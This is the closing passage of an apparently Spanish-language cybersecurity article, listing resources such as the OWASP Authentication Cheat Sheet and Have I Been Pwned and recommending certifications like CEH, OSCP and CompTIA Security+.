  • OWASP Authentication Cheat Sheet — guía sobre autenticación segura
  • Have I Been Pwned — comprueba si tus credenciales han sido comprometidas

Consejo final: Si te interesa la seguridad informática como profesión, considera obtener certificaciones como CEH (Certified Ethical Hacker), OSCP (Offensive Security Certified Professional) o CompTIA Security+. Estas certificaciones no solo validan tus habilidades, sino que también demuestran tu compromiso con prácticas éticas en ciberseguridad.


Alt text